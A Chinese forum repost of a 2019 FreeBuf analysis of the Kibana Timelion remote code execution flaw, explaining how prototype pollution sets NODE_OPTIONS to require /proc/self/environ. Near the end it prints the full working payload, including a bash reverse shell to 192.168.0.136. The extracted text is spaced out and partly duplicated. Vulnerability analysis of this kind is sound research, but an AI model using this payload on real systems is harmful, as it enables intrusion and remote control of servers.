搜索

[14760] 2019-10-31_KibanaRCE漏洞详细分析

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2019-10-31_KibanaRCE漏洞详细分析 K i b a n a   R C E 漏 洞 详 细 分 析 N o t F o u n d   F r e e B u f   2 0 1 9 - 1 0 - 3 1 背 景 介 绍 ： 背 景 介 绍 ： E l a s t i c s e a r c h   K i b a n a 是 荷 兰 是 荷 兰 E l a s t i c s e a r c h 公 司 的 一 套 开 源 的 、 基 于 浏 览 器 的 分 析 和 搜 索 公 司 的 一 套 开 源 的 、 基 于 浏 览 器 的 分 析 和 搜 索 E l a s t i c s e a r c h 仪 表 板 工 具 ， 作 为 仪 表 板 工 具 ， 作 为 E l a s t i c s e a r c h 的 核 心 组 件 ， 的 核 心 组 件 ， K i b a n a 可 作 为 产 品 或 服 务 提 供 ， 并 可 作 为 产 品 或 服 务 提 供 ， 并 与 各 种 系 统 ， 产 品 ， 网 站 和 企 业 中 的 其 他 与 各 种 系 统 ， 产 品 ， 网 站 和 企 业 中 的 其 他 E l a s t i c   S t a c k 产 品 配 合 使 用 。 由 于 产 品 配 合 使 用 。 由 于 K i b a n a 在 大 数 据 领 域 用 途 较 为 广 泛 ， 此 次 漏 洞 影 响 范 围 较 大 。 在 大 数 据 领 域 用 途 较 为 广 泛 ， 此 次 漏 洞 影 响 范 围 较 大 。 N o d e j s 的 子 进 程 创 建 的 子 进 程 创 建 如 何 获 取 客 户 端 参 数 的 代 码 写 在 了 p r o c c e s s . j s 中 ， 我 们 关 注 下 客 户 端 参 数 解 析 以 上 代 码 是 n o d e j s 的 e x e c 方 法 的 核 心 代 码 ( 卧 槽 ， n o d e 自 举 了 ) 。 可 以 看 到 代 码 调 用 了 n o r m a l i z e E x e c A r g s ( c o m m a n d , o p t i o n s ,   c a l l b a c k ) ; 而 其 中 的 o p t i o n s ， 是 我 们 传 入 的 命 令 行 的 参 数 ， 这 个 函 数 又 调 用 了 f u n c t i o n   n o r m a l i z e S p a w n A r g u m e n t s ， 而 这 个 函 数 又 调 用 了 e x e c F i l e ， 而 e x e c F i l e 调 用 了 s p a w n ， 而 在 s p a w n   里 定 义 了 这 样 的 代 码 简 单 来 说 ， 客 户 端 传 入 了 o p t i o n s 选 项 ， 那 么 就 根 据 客 户 端 的 来 处 理 ， 否 则 就 去 获 取 系 统 环 境 变 量 。 作 者 核 心 点 作 者 核 心 点 在 这 里 我 得 提 一 下 作 者 的 思 路 作 者 在 命 令 行 下 尝 试 了 这 是 在 s h e l l 里 设 置 了 一 个 N O D E _ O P T I O N S 的 值 和 A A A 环 境 变 量 ， 其 中 N O D E _ O P T I O N S 是 可 以 这 么 写 的 ， 官 方 允 许 传 递 这 样 的 参 数 ， 具 体 的 文 档 在 h t t p : / / n o d e j s . c n / a p i / c l i / n o d e _ o p t i o n s _ o p t i o n s . h t m l 内 容 是 作 者 做 这 个 实 验 的 核 心 目 的 就 是 表 达 ， 我 在 s h e l l 下 传 递 o p t i o n s 可 以 包 含 环 境 变 量 来 执 行 代 码 也 可 以 通 过 污 染 原 型 链 来 设 置 环 境 变 量 ， c o n s o l e . l o g 这 个 地 方 就 是 任 意 的 n o d e j s 表 达 式 ， 包 括 执 行 命 令 的 ， 这 个 是 为 了 实 验 。 关 于 关 于 . e n v 和 和 p r o c e s s . e n v 和 和 / p r o c / s e l f / e n v i r o n 官 方 解 释 ： p r o c e s s   对 象 是 一 个   g l o b a l   （ 全 局 变 量 ） ， 提 供 有 关 信 息 ， 控 制 当 前   N o d e . j s   进 程 。 该 对 象 表 示 N o d e 所 处 的 当 前 进 程 ， 允 许 开 发 者 与 该 进 程 互 动 。 打 开 命 令 行 ， 输 入 n o d e ， 再 输 入 p r o c e s s . e n v ， 可 以 看 见 p r o c e s s . e n v 是 一 个 对 象 。 这 个 对 象 在 k i b a n a 这 里 就 是 有 很 多 属 性 ， 我 们 污 染 的 这 个 N O D E _ O P T I O N S 就 是 这 个 e n v 的 属 性 之 一 ， 其 实 还 有 N O D E _ E N V 之 类 的 属 性 。 还 有 版 本 之 类 的 。 根 据 子 进 程 创 建 的 逻 辑 ， 我 们 是 否 可 以 构 造 一 个 恶 意 的 代 码 来 污 染 原 型 链 ， 因 为 代 码 里 写 了 如 果 没 定 义 p r o c e s s . e n v 就 去 调 用 系 统 的 环 境 变 量 ， 而 根 据 j a v a s c r i p t 规 则 ， 我 们 随 意 设 置 一 个 对 象 的 p r o t o 的 e n v 就 可 以 覆 盖 掉 p r o c e s s 的 e n v 属 性 了 ， 这 样 的 话 我 们 可 以 就 定 义 好 了 ， 定 义 并 且 赋 值 就 不 会 u n d e f i n e d 了 。 简 单 的 说 就 是 o b j e c t . e n v 下 的 属 性 就 会 被 写 入 到 / p r o c / s e l f / e n v i r o n 里 。 所 以 p o c 的 下 半 句 是 c o n s t   e n v   = o p t i o n s . e n v   | |   p r o c e s s . e n v ;     获 取 客 户 端 的 o p t i o n s     c o n s t   e n v P a i r s   =   [ ] ;     / /   p r o c e s s . e n v . N O D E _ V 8 _ C O V E R A G E   a l w a y s p r o p a g a t e s ,   m a k i n g   i t   p o s s i b l e   t o     / /   c o l l e c t   c o v e r a g e   f o r   p r o g r a m s   t h a t   s p a w n w i t h   w h i t e - l i s t e d   e n v i r o n m e n t .     i f   ( p r o c e s s . e n v . N O D E _ V 8 _ C O V E R A G E   & &           ! O b j e c t P r o t o t y p e . h a s O w n P r o p e r t y ( o p t i o n s . e n v   | |   { } ,   ' N O D E _ V 8 _ C O V E R A G E ' ) ) {         e n v . N O D E _ V 8 _ C O V E R A G E   = p r o c e s s . e n v . N O D E _ V 8 _ C O V E R A G E ;     }     / /   P r o t o t y p e   v a l u e s   a r e   i n t e n t i o n a l l y i n c l u d e d     f o r   ( c o n s t   k e y   i n   e n v )   {         c o n s t   v a l u e   =   e n v [ k e y ] ;         i f   ( v a l u e   ! = =   u n d e f i n e d )   {             e n v P a i r s . p u s h ( ` $ { k e y } = $ { v a l u e } ` ) ;         }     } N O D E _ O P T I O N S = ’ - - r e q u i r e / p r o c / s e l f / e n v i r o n ’   A A A = ’ c o s o l e . l o g ( 1 2 3 ) / / ’   n o d e
根 据 作 者 核 心 思 路 “ 在 s h e l l 下 传 递 o p t i o n s 可 以 包 含 环 境 变 量 来 执 行 代 码 也 可 以 通 过 污 染 原 型 链 来 设 置 环 境 变 量 ” ， 我 们 开 始 尝 试 使 用 代 码 来 设 置 环 境 变 量 而 不 是 s h e l l 。 而 / p r o c / s e l f / e n v i r o n 就 和 p h p 一 样 的 ， 如 果 你 设 置 了 进 程 的 环 境 变 量 ， 那 么 在 运 行 的 时 候 通 过 l i n u x 下 / p r o c / s e l f / e n v i r o n 可 以 读 取 进 程 的 环 境 变 量 如 何 在 代 码 里 设 置 环 境 变 量 ？ 如 何 在 代 码 里 设 置 环 境 变 量 ？ 答 案 是 通 过 原 型 链 污 染 ， 我 们 先 污 染 o b j e c t . e n v ， 也 就 是 设 置 l a b e l . p r o t o . e n v . N O D E _ O P T I O N S ， 这 样 的 话 我 们 去 访 问 p r o c e s s . e n v . N O D E _ O P T I O N S 就 是 我 们 设 置 的 值 ， 根 据 上 面 n o d e j s 核 心 代 码 c h i l d _ p r o c e s s . j s 的 逻 辑 ， 我 们 传 递 的 o p t i o n s 最 终 会 变 成 s p a w n 的 一 个 参 数   ， 作 为 环 境 变 量 执 行 。 文 件 包 含 获 得 文 件 包 含 获 得 s h e l l 最 后 我 们 通 过 l a b e l . p r o t o . e n v . N O D E _ O P T I O N S = ’ — r e q u i r e / p r o c / s e l f / e n v i r o n ’   的 设 置 了 p r o c e s s . e n v . N O D E _ O P T I O N S 的 值 ， 被 n o d e 读 取 到 了 ， 然 后 根 据 官 方 手 册 里 写 的 ， 相 当 于 运 行 了 n o d e   — r e q u i r e   “ x x x . x x x ”   ( 就 和 p h p 里 的 i n c l u d e   一 样 ， n o d e   r e q u i r e 的 不 一 定 非 要 是 j s 文 件 ， 就 和 p h p 不 一 定 要 是 p h p 文 件 一 样 ) P o c 的 另 外 一 句 话 是 ： 这 里 的 A A A 也 是 会 被 写 入 到 / p r o c / s e l f / e n v i r o n ， 最 后 的 环 境 变 量 应 该 是 因 为 / / 是 注 释 ， 所 以 后 面 忽 略 ， 然 后 这 个 文 件 被 当 作 r e q u i r e 的 参 数 包 含 起 来 了 ， 里 面 的 代 码 自 然 就 执 行 了 。 几 个 重 要 的 知 识 ： 几 个 重 要 的 知 识 ： 1 、 设 置 了 x x . e n v . a a a 的 内 容 会 被 写 入 / p r o c / s e l f / e n v i r o n 里 ， 怎 么 设 置 ？ 通 过 原 型 链 2 、 P o c 设 置 了 2 个 环 境 变 量 ， 一 个 被 注 释 了 3 、 N O D E _ O P T I O N S 自 n o d e V 8 . 0 . 0 后 才 开 始 ( 如 果 你 没 成 功 ， 那 么 可 以 排 查 下 n o d e j s 的 版 本 总 结 总 结 聪 明 的 你 肯 定 知 道   还 有 其 他 的 办 法 可 以 R C E ！ 可 以 利 用 的 地 方 很 多 ， 原 型 链 撕 开 了 一 个 攻 击 面 ， 而 N O D E _ O P T I O N S 只 是 一 个 点 。 根 据 对 抗 原 型 链 攻 击 的 办 法 可 以 使 用 O b j e c t . f r e e z e 来 冻 结 原 型 链 操 作 ， 但 是 这 样 会 导 致 一 些 隐 性 的 b u g ， 如 果 你 不 熟 悉 j a v a s c r i p t 的 话 。 最 佳 的 修 复 还 是 升 级 版 本 吧 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： N o t F o u n d ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 . p r o p s ( l a b e l . _ _ p r o t o _ _ . e n v . N O D E _ O P T I O N S = ' - - r e q u i r e / p r o c / s e l f / e n v i r o n ' ) . e s ( * ) . p r o p s ( l a b e l . _ _ p r o t o _ _ . e n v . A A A A = ' r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c ( " b a s h - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 3 6 / 1 2 3 4 5   0 > & 1 " ) ; p r o c e s s . e x i t ( ) / / ' ) A A A =   r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c ( " b a s h - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 3 6 / 1 2 3 4 5   0 > & 1 " ) ; p r o c e s s . e x i t ( ) / / N O D E _ O P T I O N S = - - r e q u i r e / p r o c / s e l f / e n v i r o n Y a r n _ V E R S I O N = 1 . 1 7 . 3 H O S T N A M E = 7 d a 7 7 2 7 d d e P W D = b a l a b a l a b a l a b a l a
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理